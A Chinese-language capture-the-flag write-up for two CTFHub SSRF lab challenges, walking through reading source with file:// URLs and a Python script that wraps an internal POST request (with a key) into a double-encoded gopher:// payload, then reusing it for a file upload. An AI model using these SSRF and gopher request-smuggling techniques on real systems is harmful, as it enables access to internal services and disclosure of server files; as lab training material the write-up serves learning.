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POST

这里是对大二做题的时候，留下来的遗憾做一个弥补，学艺不精，，希望大家多学习，，
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进去，先找flag，
url格式为
http://challenge-2f0ab955ad1f379e.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

这里查看页面源代码，就会发现有 debug:key

点击以后发现，必须是来自127.0.0.1的才能访问

题目是POST，然后做到现在给了提示key,但是尝试了一遍，发现把key以post的形式提交缺没有反应，这里就需要换一下思路



使用file协议先读取一下源码

还有一张

这里我们写个脚本



#coding=GBK
# 遇到中文无法解决的问题时，在开头注明使用GBK编码
import urllib.parse

payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=9f3d5f2eb4dfc2a8f4e241f9c093d9de
"""

#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

然后把包裹好的数据包发送

就出现了flag

上传文件上传文件

还是老方法，进去测试

http://127.0.0.1/flag.php确认其存在，之后使用file协议去读一下
file:///var/www/html/flag.php

发现有一个上传，但是没有提交按钮，我们需要自己编辑一个



然后burp抓包上传，截取到数据

放到生成gopher的python脚本里面跑一下，就能得到

之后再url里面把gopher协议的数据发送，即可
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